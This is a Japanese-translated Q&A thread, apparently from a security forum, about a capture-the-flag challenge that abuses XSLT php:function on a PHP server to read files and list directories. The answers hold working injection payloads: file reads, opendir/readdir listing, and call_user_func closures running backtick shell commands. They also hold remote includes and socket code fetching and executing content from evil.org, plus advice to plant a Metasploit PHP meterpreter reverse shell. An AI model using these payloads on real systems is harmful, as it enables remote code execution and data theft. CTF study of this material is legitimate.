web-dev-qa-db-ja.com

XSLファイルから配列を返すPHP関数を実行します

サーバーでコードを実行してフラグを取得する必要があるというセキュリティ上の課題があり、このコードはXSLドキュメントを使用して実行する必要があります。

それで、サーバーに自分のXSLファイルを解釈させる方法を見つけ、php:function機能は、サーバーでphp関数を実行します。これは私がサーバーに与えているコードの例です:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','index.php')"/>
</xsl:template>
</xsl:stylesheet>

このコードは、ページのソースコードを出力しますindex.php

次のステップは、サーバーでscandirを実行して、現在のディレクトリをリストする(フラグを見つける)ことです。私が抱えている問題は、サーバーからの応答がArrayだけであり、それがサーバーが出力するすべてのことです。

ほぼ8時間検索した後、行き詰まってしまい、scandirによって返された配列を出力するXSL機能が見つかりません。

メモ:

  • コードの実行を可能にする関数(evalexecpassthrupopenproc_openShell_execsystem)はサーバーによって無効にされています。
  • 私は本当にXSLおよびXML言語の初心者(完全な初心者)です。
10
Sidahmed

XSLに関しても、私は初心者です。正直なところ、これほど強力で危険なものになるとは思いもしませんでした。でもとにかくこれを試してみる。

配列を返す関数から出力を取得できるかどうかはわかりません。おそらく、関数呼び出しをなんとかネストできるでしょうか?しかし、XSLに関する知識が不足しているため、その方法を説明することはできません。代わりに、問題全体を回避してみましょう。配列をまったく扱わずにディレクトリリストを取得する方法はありますか?

PHPマニュアルに入ります。次の2つの関数は便利に見えます:

resource opendir ( string $path [, resource $context ] )

後続のclosedir()readdir()、およびrewinddir()呼び出しで使用されるディレクトリハンドルを開きます。

string readdir ([ resource $dir_handle ] )

ディレクトリ内の次のエントリの名前を返します。エントリは、ファイルシステムに格納されている順序で返されます。 [...]ディレクトリハンドルが指定されていない場合、opendir()によって開かれた最後のリンクが想定されます。

したがって、opendirからリソースを取得することはできませんが、readdirは、最後のリソースから読み取りたいと想定しているため、とにかく動作する可能性があります。次のような攻撃ファイルを提案します。

_<xsl:value-of select="php:function('opendir','/some/where/')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
...
_

編集:どうやら、ドキュメントに記載されていないphp:functionString()があり、「出力を自動的に文字列に変換します」とコメントしています- php.net 。それが役立つかどうかはわかりませんが、試してみる価値があります。

11
Anders

xmlns:php = "http://php.net/xsl"

やった!ドキュメントがそんなに強力だとは思いもしませんでした!

「配列」という応答は、phpで文字列への配列の暗黙的なキャストを実行したときに得られるものです。 Conorが示唆しているように、scandirの呼び出しを、より適切な文字列表現を返すようなものにラップするだけです。

 implode(',', scandir('/some/where'))

(コメントを参照して-print [_r]はstdoutに送信します-しかし、XSLインターフェースは戻り値を直接読み取っているようです)。

Php:functionインターフェースがこれを許可しないと仮定すると、ディレクトリイテレータオブジェクトの1つを使用してみることができます(オブジェクトにはより優れたシリアル化メソッドがあります)。

別のアプローチは、PHPリモートサイトからのコードを含めるだけです...

php:function('include','http://evil.org/interrogator.php')
1
symcbean

そのxsltを介してサーバー上で任意のphpコードを実行している場合は、仲介者を切り取って、メタスプロイト内の逆方向のTCP接続でphp meterpreterを使用し、ボックスにmeterpreterを置くことができます。 、フラグがファイル名ではなくファイルのコンテンツに含まれている場合は、簡単にダウンロードまたはcatできます。

設定されたphp meterpreterをモジュールとしてmsfでgenerate -t​​ rawを使用し、パスタを簡単にコピーするためのphpコードを取得できます。

0
Tobi Nary

注:この回答を書いた後、私はあなたが利用可能な攻撃ベクトルを介して匿名関数を渡すことができるかどうか疑い始めています。この答えはここに置いておきますので、気になったら試してみてください。

うーん...あなたが説明するシナリオを前提として、私は call_user_func()preg_replace_callback() または-の力を活用しようとします usort()1無名関数 と組み合わせて。

コールバックを受け入れる関数のいずれかが利用できる場合、PHPのほぼすべての可能性にアクセスできます。


call_user_func()を使用した例:

例1
呼び出しscandir()

_<xsl:value-of select="php:function('call_user_func', function(){
    return print_r(scandir('..'), true);
})"/>
_


例2
これはキャプチャフラグの設定なので、 実行演算子 が有効なままになっていることを確認します(疑わしいですが、試してみる価値はあります)。

_<xsl:value-of select="php:function('call_user_func', function(){
    return `ls -al`;
})"/>
_



call_user_func()で独自の関数を作成できることを前提に、他のことも行います。

例3
サーバーの構成を確認してください:

_<xsl:value-of select="php:function('call_user_func', function(){
    ob_start();
    phpinfo();
    return ob_get_clean();
})"/>
_


例4
ソケットを開き、HTTPリクエストを作成し、結果をPHPファイル データストリームラッパー を介して含めます。これにより、バイパスできる可能性がありますいくつかのセキュリティ制限:

_<xsl:value-of select="php:function('call_user_func', function(){
    ob_start();
    error_reporting(~0);
    ini_set(\'display_errors\', true);

    $errno = 0;
    $errstr = \'\';
    if (false === ($fp = fsockopen(\'evil.org\', 80, $errno, $errstr, 60))) {
        return \'Failed opening socket (\'.$errno.\')\': \'.$errstr;
    }

    fwrite($fp, &quot;GET / HTTP/1.1\r\nHost: evil.org\r\nConnection: Close\r\n\r\n\&quot;);
    $out = \'\';
    while (!feof($fp)) {
        $out .= fgets($fp, 128);
    }
    fclose($fp);
    include(\'data://text/plain;base64,\'.base64_encode($out));
    echo &quot;\n\nOk\n&quot;;
    return ob_get_clean();
})"/>
_

注:上記のコード例で_\'_が機能しない場合は、それを_&apos;_に置き換えてみてください。

リモートコンテンツをincludeできない場合は、必要なすべての機能を文字列として提供する必要があります。これは便利ではありませんが、必ずしもそれほど強力ではありません。


1 コールバック関数を受け入れる他の関数が存在するため、この回答で言及されている関数がブロックされている場合、利用可能な関数が見つかるまでは、試行錯誤の問題です。

0
Jacco